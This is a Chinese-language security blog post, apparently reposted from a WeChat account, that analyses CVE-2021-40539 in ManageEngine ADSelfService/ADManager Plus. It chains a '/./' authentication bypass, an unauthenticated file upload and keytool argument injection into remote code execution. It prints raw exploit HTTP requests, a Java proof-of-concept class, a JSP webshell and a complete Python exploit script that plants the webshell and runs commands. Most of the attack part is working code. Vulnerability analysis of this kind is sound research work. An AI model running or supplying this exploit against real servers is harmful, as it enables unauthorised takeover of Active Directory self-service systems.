CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE

admin 2021年11月9日17:44:32评论273 views字数 12151阅读40分30秒阅读模式



CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE



身份验证绕过


        从编辑的原始通信中知道可以通过 REST API 获得未经授权的访问。之前的差异表明jar中的com.manageengine.ads.fw.api.RestAPIUtil类ManageEngineADSFrameworkJava已随补丁更改。



该getNormalizedURI函数的代码如下:


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


        这显然是一个修复路径遍历漏洞的补丁,该漏洞可能会产生严重影响。一个类似的例子是同时在 Apache httpd上应用的补丁。在当前的情况下,补丁是针对身份验证绕过的。


        测试有效载荷为:


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


将/./有效负载发送到我们已修补和易受攻击的实例会导致服务器响应的差异


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


        响应体表明路径遍历请求实际上绕过了认证过程。


通过API上传任意文件

        

   ogonCustomization位于AdventNetADSMClientjar 中的类实现previewMobLogo了 Nuclei 模板的 PoC 中使用的方法。


public ActionForward previewMobLogo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) {


public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {    [...]    try {        [...]       } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {  // we are looking for smarcard related actions          String operation = request.getParameter("operation");          SmartCardAction smartCardAction = new SmartCardAction();          if (operation.equalsIgnoreCase("Add")) {       // and how to add one            request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));            request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));            smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response);


        对先前方法的分析可以确定在服务器上上传文件所需的参数。此请求说明了文件ManageEngineADSelfService Plusbin夹中任意文件的上传。 


POST /./RestAPI/LogonCustomization HTTP/1.1Host: 192.168.1.106:9251User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: Content-Type: application/x-www-form-urlencodedAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537Te: trailersConnection: closeContent-Length: 1212
-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="methodToCall"
unspecified-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="Save"
yes-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="form"
smartcard-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="operation"
Add-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"Content-Type: application/octet-stream
arbitrary content-----------------------------39411536912265220004317003537--


成功上传会导致服务器回复 404 响应代码


HTTP/1.1 404 Not FoundContent-Type: text/html;charset=UTF-8Connection: closeContent-Length: 135536[...]


尽管如此,还是可以确认该文件在目录中的存在。


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


        可以将任意内容的任意文件上传到ManageEngineADSelfService Plusbin目录中。


参数注入


com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction级似乎是与此相关的API端点。


  public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {    String action = request.getParameter("action");    if (action != null && action.equals("generateCSR"))      SSLUtil.createCSR(request);     return actionMap.findForward("SSLTool");  }


        该openSSLTool方法接受一个actionHTTP 参数,SSLUtil.createCSR如果它等于,就会调用generateCSR。通过深入研究该方法的源代码,观察到两个未净化的参数keysize和validity,它们用于构建runCommand调用的参数:


  public static JSONObject createCSR(JSONObject sslSettings) throws Exception {    [...]    StringBuilder keyCmd = new StringBuilder("..\jre\bin\keytool.exe  -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");     // the command is prepared    keyCmd.append(password);    keyCmd.append(" -storePass ").append(password);    String keyLength = sslSettings.optString("KEY_LENGTH", null);    if (keyLength != null && !keyLength.equals(""))       keyCmd.append(" -keysize ").append(keyLength);     // first parameter    String validity = sslSettings.optString("VALIDITY", null);    if (validity != null && !validity.equals(""))       keyCmd.append(" -validity ").append(validity);    // second parameter    [...]    JSONObject jStatus = new JSONObject();                  String status = runCommand(keyCmd.toString());      // command is executed here    [...]


结束了该runRuntimeExec 方法(在AdventNetADSMServerjar 中)


public void runRuntimeExec() {    if (this.command == null) {      if (this.proc == null)        return;       getStdErr();    } else {      Process p = null;      String line = null;      try {        p = Runtime.getRuntime().exec(this.command);      } catch (Exception e) {        systemerr("The command could not be executed");        this.result = false;      }       boolean isPingCmd = (this.command.indexOf("RemCom") != -1);      this.result = runCommandStatus(p, isPingCmd);    }   }


        总的来说,似乎可以注入启动keytoolexe的命令行。


但是使用Runtime.getRuntime().exec()可以防止从预期的目标二进制文件中转义,仍然能够注入任意参数。keytool是能够加载 Java 类,如果可以构建自己的 Java 类,通过 API 调用上传它,LogonCustomization然后可以使用它 keytool来执行它。

        

        使用 Procmon 进行一些动态分析和对/RestAPI/Connection端点的查询可以确认keytool二进制文件的执行。


POST /./RestAPI/Connection HTTP/1.1Host: 192.168.1.105:9251User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: Content-Type: application/x-www-form-urlencodedAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedTe: trailersConnection: closeContent-Length: 43
methodToCall=openSSLTool&action=generateCSR


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


执行的命令如下:


..jrebinkeytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..jrebinSelfService.keystore


RCE:


        可以通过将/./代码片段添加到 REST API 路由并执行任意文件上传来绕过身份验证过程。我们还看到可以通过注入 keytool 二进制参数来加载任意 Java 类。结合这两个问题能够获得任意代码执行。

        

        以下执行 的 Java 代码calc.exe将用作概念证明。


import java.io.*;public class Si{    static{        try{            Runtime rt = Runtime.getRuntime();            Process proc = rt.exec("calc");        }catch (IOException e){}    }}


C:ManageEngineADSelfService Plusjrebin> java -versionjava version "1.8.0_162"Java(TM) SE Runtime Environment (build 1.8.0_162-b12)Java HotSpot(TM) 64-Bit Server VM (build 25.162-b12, mixed mode)
C:> javac Si.java


正确编译后,PoC 类可以使用LogonCustomization端点上传到服务器


POST /./RestAPI/LogonCustomization HTTP/1.1Host: 192.168.1.105:9251Content-Length: 989Content-Type: multipart/form-data; boundary=fcc62d4b058687f46994b5245a8c8e9fUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
--fcc62d4b058687f46994b5245a8c8e9fContent-Disposition: form-data; name="methodToCall"
unspecified--fcc62d4b058687f46994b5245a8c8e9fContent-Disposition: form-data; name="Save"
yes--fcc62d4b058687f46994b5245a8c8e9fContent-Disposition: form-data; name="form"
smartcard--fcc62d4b058687f46994b5245a8c8e9fContent-Disposition: form-data; name="operation"
Add--fcc62d4b058687f46994b5245a8c8e9fContent-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"
7

StackMapTableLineNumberTabl<clinit>SourceFileSi.java
calc ava/io/IOExceptionSijava/lang/Objectjava/lang/RuntimegetRuntime()Ljava/lang/Runtime;exec'(Ljava/lang/String;)Ljava/lang/Process;!*

IK*LK

N--fcc62d4b058687f46994b5245a8c8e9f--


剩下的就是通过keytool.exe参数注入强制加载新上传的类。


POST /./RestAPI/Connection HTTP/1.1Host: 192.168.1.105:9251User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: Content-Type: application/x-www-form-urlencodedAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedTe: trailersConnection: closeContent-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:ManageEngineADSelfService+Plusbin"


CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE


为了更加方便,还可以利用文件上传在文件系统上编写 JSP webshell然后可以通过 Java 代码执行将其移动到 webroot 中。


import java.io.*;public class Si{    static{        try{            Runtime rt = Runtime.getRuntime();            Process proc = rt.exec(new String[] {"cmd", "/c", "copy", "helloworld.jsp", "..\webapps\adssp\help\admin-guide\helloworld.jsp"});        }catch (IOException e){}    }}


使用触发命令执行后keytool

webshell:

http://TARGET/help/admin-guide/helloworld.jsp



exploit.py


#!/usr/bin/env python3
import requestsimport argparsefrom base64 import b64decodefrom io import BytesIOimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main():
parser = argparse.ArgumentParser() parser.add_argument('-t','--target', required=True, type=str, default=None, help='Remote Target IP Address (ex: http://192.168.10.5/)') parser.add_argument('-w','--webshell', required=False, help='Path to jsp file to execute') parser.add_argument('-j','--java_class', required=False, help='Path to java class to execute') parser.add_argument('-s','--skip', required=False, default=False, action='store_true', help='Do not verify if target is vulnerable')
args = parser.parse_args()
exploit(args)

def check(args): if not "http" in args.target: print("Please specify schema (http/https)") exit(1) check_bypass_endpoint = "/./RestAPI/LogonCustomization" chek_url = args.target + check_bypass_endpoint s = requests.Session() data = {"methodToCall":"previewMobLogo"} req = requests.Request(url=chek_url, method='POST', data=data) prep = req.prepare() prep.url = chek_url
try: response = s.send(prep, verify=False) except Exception as e: print(e) exit(1)
if '<script type="text/javascript">var d = new Date();' in response.text: print("[+] Target is vulnerable!") return else: print("[-] Target doesn't seem vulnerable") exit(1)

def exploit(args): if not args.skip: check(args)
upload_jsp(args) upload_java_class(args) execute_rce(args) # optionnal verify_webshell(args)
def upload_jsp(args): upload_url = args.target + "/./RestAPI/LogonCustomization"
if args.webshell: files = {'CERTIFICATE_PATH': ('ws.jsp', open(args.webshell, 'r'))} else: webshell = """<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%> """ files = {'CERTIFICATE_PATH': ('ws.jsp', webshell)}
data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"} s = requests.Session() req = requests.Request(url=upload_url, method='POST', files=files, data=data) prep = req.prepare() prep.url = upload_url response = s.send(prep, verify=False) if response.status_code == 404: print("[+] Webshell successfully uploaded") else: print("[-] Can't upload webshell") exit(1)
def upload_java_class(args): upload_url = args.target + "/./RestAPI/LogonCustomization"
if args.java_class: files = {'CERTIFICATE_PATH': ('Si.class', open(args.java_class, 'rb'))} else: java1_8_payload_b64 = "yv66vgAAADQAKAoADAAWCgAXABgHABkIABoIABsIABwIAB0IAB4KABcAHwcAIAcAIQcAIgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACABAApTb3VyY2VGaWxlAQAHU2kuamF2YQwADQAOBwAjDAAkACUBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kAQACL2MBAARjb3B5AQAGd3MuanNwAQAqLi5cd2ViYXBwc1xhZHNzcFxoZWxwXGFkbWluLWd1aWRlXHRlc3QuanNwDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQACU2kBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQALAAwAAAAAAAIAAQANAA4AAQAPAAAAHQABAAEAAAAFKrcAAbEAAAABABAAAAAGAAEAAAACAAgAEQAOAAEADwAAAGQABQACAAAAK7gAAksqCL0AA1kDEgRTWQQSBVNZBRIGU1kGEgdTWQcSCFO2AAlMpwAES7EAAQAAACYAKQAKAAIAEAAAABIABAAAAAUABAAGACYABwAqAAgAEgAAAAcAAmkHABMAAAEAFAAAAAIAFQ==" files = {'CERTIFICATE_PATH': ('Si.class', BytesIO(b64decode(java1_8_payload_b64)))}
data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"} s = requests.Session() req = requests.Request(url=upload_url, method='POST', files=files, data=data) prep = req.prepare() prep.url = upload_url response = s.send(prep, verify=False) if response.status_code == 404: print("[+] Java Class successfully uploaded") else: print("[-] Can't upload Java Class") exit(1)

def execute_rce(args): rce_url = args.target + "/./RestAPI/Connection"
s = requests.Session() data = {"methodToCall":"openSSLTool","action":"generateCSR","KEY_LENGTH":'1024 -providerclass Si -providerpath "..\bin"'} req = requests.Request(url=rce_url, method='POST', data=data) prep = req.prepare() prep.url = rce_url response = s.send(prep, verify=False) if response.status_code == 404: print("[+] Got expected response code to trigger RCE") else: print("[-] Can't trigger RCE from Java Class") print("Server replied with status code {}".format(response.status_code)) exit(1)
def verify_webshell(args): webshell_url = args.target + "/help/admin-guide/test.jsp" response = requests.post(webshell_url, data={"cmd":'powershell "whoami"'}, verify=False) try: if(response.status_code == 404): print("Can't find webshell") else: print(response.text) print("[+] Webshell successfully upload.") print("[+] Find it on {}".format(webshell_url)) except: print("Can't parse response") print(response.status_code) print(response.text)

if __name__ == '__main__': main()


原文始发于微信公众号(Khan安全攻防实验室):CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月9日17:44:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCEhttps://cn-sec.com/archives/623756.html

发表评论

匿名网友 填写信息